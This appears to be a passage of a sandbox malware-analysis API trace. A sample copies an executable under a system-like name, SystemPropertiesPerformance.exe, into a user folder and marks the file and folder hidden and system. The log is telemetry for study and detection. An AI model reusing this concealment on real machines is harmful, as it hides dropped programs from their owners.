[0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc08 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe598 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0169.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebadb8 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf938 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebab10 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e10 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb28 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xee4fe8 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafbe8 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d80 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e10 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077eb8 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafba8 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb48 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cf0 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f78 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d80 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cd8 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb78 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb88 [0169.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cf0 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078140 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078068 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb88 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb88 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10780e0 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10781d0 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782a8 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb18 [0169.695] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc18 [0169.695] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebaa70 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ff0 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc08 [0169.695] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba9a8 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10781a0 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafae8 [0169.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078140 [0169.696] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.696] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafad8 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb58 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe5d8 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0169.696] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.696] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa68 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc08 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe7f8 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0169.696] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebade0 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078260 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc18 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077fc0 [0169.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc08 [0169.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa98 [0169.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x203e40) returned 0x4a64020 [0169.790] WriteFile (in: hFile=0x398, lpBuffer=0x4a64020*, nNumberOfBytesToWrite=0x203e40, lpNumberOfBytesWritten=0xbdf64c, lpOverlapped=0x0 | out: lpBuffer=0x4a64020*, lpNumberOfBytesWritten=0xbdf64c*=0x203e40, lpOverlapped=0x0) returned 1 [0169.951] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafac8 [0169.951] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.951] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafae8 [0169.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb88 [0169.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe778 [0169.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0169.952] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.952] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebad90 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078200 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafbf8 [0169.952] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.952] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc18 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafbc8 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe598 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0169.952] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.952] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafbd8 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafbc8 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe678 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0169.952] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebaae8 [0169.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10781d0 [0169.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc08 [0169.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078110 [0169.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078140 [0169.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafbe8 [0169.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078200 [0169.955] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe", nBufferLength=0x7fff, lpBuffer=0xbaf060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe", lpFilePart=0x0) returned 0x3d [0169.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc38 [0169.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0x1049638 [0169.955] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xbbf698 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0169.955] SetCurrentDirectoryW (lpPathName="C:\\Users\\RDhJ0CNFevzX\\btpanui\\" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui")) returned 1 [0169.955] GetFileAttributesW (lpFileName="SystemPropertiesPerformance.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui\\systempropertiesperformance.exe")) returned 0x20 [0169.955] FindFirstFileW (in: lpFileName="SystemPropertiesPerformance.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui\\systempropertiesperformance.exe"), lpFindFileData=0xbbedf8 | out: lpFindFileData=0xbbedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd4e15f, ftCreationTime.dwHighDateTime=0x1da5a12, ftLastAccessTime.dwLowDateTime=0x9dd4e15f, ftLastAccessTime.dwHighDateTime=0x1da5a12, ftLastWriteTime.dwLowDateTime=0x9dd4e15f, ftLastWriteTime.dwHighDateTime=0x1da5a12, nFileSizeHigh=0x0, nFileSizeLow=0x203e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemPropertiesPerformance.exe", cAlternateFileName="SYSTEM~1.EXE")) returned 0xeec750 [0169.956] GetFileAttributesW (lpFileName="SystemPropertiesPerformance.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui\\systempropertiesperformance.exe")) returned 0x20 [0169.956] SetFileAttributesW (lpFileName="SystemPropertiesPerformance.exe", dwFileAttributes=0x23) returned 1 [0170.160] FindNextFileW (in: hFindFile=0xeec750, lpFindFileData=0xbbedf8 | out: lpFindFileData=0xbbedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd4e15f, ftCreationTime.dwHighDateTime=0x1da5a12, ftLastAccessTime.dwLowDateTime=0x9dd4e15f, ftLastAccessTime.dwHighDateTime=0x1da5a12, ftLastWriteTime.dwLowDateTime=0x9dd4e15f, ftLastWriteTime.dwHighDateTime=0x1da5a12, nFileSizeHigh=0x0, nFileSizeLow=0x203e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemPropertiesPerformance.exe", cAlternateFileName="SYSTEM~1.EXE")) returned 0 [0170.160] FindClose (in: hFindFile=0xeec750 | out: hFindFile=0xeec750) returned 1 [0170.161] SetCurrentDirectoryW (lpPathName="C:\\Users\\RDhJ0CNFevzX\\Desktop" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop")) returned 1 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1049638 | out: hHeap=0xe80000) returned 1 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc38 | out: hHeap=0xe80000) returned 1 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078110 | out: hHeap=0xe80000) returned 1 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10781d0 | out: hHeap=0xe80000) returned 1 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078200 | out: hHeap=0xe80000) returned 1 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078140 | out: hHeap=0xe80000) returned 1 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebaae8 | out: hHeap=0xe80000) returned 1 [0170.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba9a8 [0170.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078200 [0170.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc18 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc18 | out: hHeap=0xe80000) returned 1 [0170.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078200 | out: hHeap=0xe80000) returned 1 [0170.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba9a8 | out: hHeap=0xe80000) returned 1 [0170.163] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafae8 [0170.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafae8 | out: hHeap=0xe80000) returned 1 [0170.163] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba9f8 [0170.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10780f8 [0170.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc38 [0170.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078110 [0170.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc38 | out: hHeap=0xe80000) returned 1 [0170.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078110 | out: hHeap=0xe80000) returned 1 [0170.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10780f8 | out: hHeap=0xe80000) returned 1 [0170.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba9f8 | out: hHeap=0xe80000) returned 1 [0170.164] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebac28 [0170.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782a8 [0170.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc48 [0170.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc48 | out: hHeap=0xe80000) returned 1 [0170.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782a8 | out: hHeap=0xe80000) returned 1 [0170.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebac28 | out: hHeap=0xe80000) returned 1 [0170.165] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0170.165] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafaf8 [0170.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafac8 [0170.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe838 [0170.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe838 | out: hHeap=0xe80000) returned 1 [0170.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafac8 | out: hHeap=0xe80000) returned 1 [0170.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafaf8 | out: hHeap=0xe80000) returned 1 [0170.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0170.165] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0170.166] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb18 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc38 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe5f8 [0170.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe5f8 | out: hHeap=0xe80000) returned 1 [0170.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc38 | out: hHeap=0xe80000) returned 1 [0170.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb18 | out: hHeap=0xe80000) returned 1 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0170.166] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebaae8 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ff0 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa58 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10781d0 [0170.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa58 | out: hHeap=0xe80000) returned 1 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078050 [0170.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb88 [0170.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078158 [0170.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb88 | out: hHeap=0xe80000) returned 1 [0170.167] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\btpanui", nBufferLength=0x7fff, lpBuffer=0xbaf060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\btpanui", lpFilePart=0x0) returned 0x1d [0170.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa68 [0170.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0170.167] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xbbf698 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0170.167] SetCurrentDirectoryW (lpPathName="C:\\Users\\RDhJ0CNFevzX\\" (normalized: "c:\\users\\rdhj0cnfevzx")) returned 1 [0170.167] GetFileAttributesW (lpFileName="btpanui" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui")) returned 0x10 [0170.167] GetFileAttributesW (lpFileName="btpanui" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui")) returned 0x10 [0170.167] SetFileAttributesW (lpFileName="btpanui", dwFileAttributes=0x13) returned 1 [0170.168] SetCurrentDirectoryW (lpPathName="C:\\Users\\RDhJ0CNFevzX\\Desktop" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop")) returned 1 [0170.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0170.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa68 | out: hHeap=0xe80000) returned 1 [0170.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10781d0 | out: hHeap=0xe80000) returned 1 [0170.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ff0 | out: hHeap=0xe80000) returned 1 [0170.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078158 | out: hHeap=0xe80000) returned 1 [0170.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078050 | out: hHeap=0xe80000) returned 1 [0170.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebaae8 | out: hHeap=0xe80000) returned 1 [0170.169] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebab38 [0170.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078140 [0170.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafab8 [0170.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafab8 | out: hHeap=0xe80000) returned 1 [0170.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078140 | out: hHeap=0xe80000) returned 1 [0170.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebab38 | out: hHeap=0xe80000) returned 1 [0170.170] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0170.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0170.170] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba958 [0170.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ff0 [0170.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb88 [0170.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078050 [0170.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb18 [0170.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078098 [0170.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb18 | out: hHeap=0xe80000) returned 1 [0170.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10780f8 [0170.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc18 [0170.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078098 | out: hHeap=0xe80000) returned 1 [0170.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebad40 [0170.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078098 [0170.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078098 | out: hHeap=0xe80000) returned 1 [0170.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebad40 | out: hHeap=0xe80000) returned 1 [0170.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, 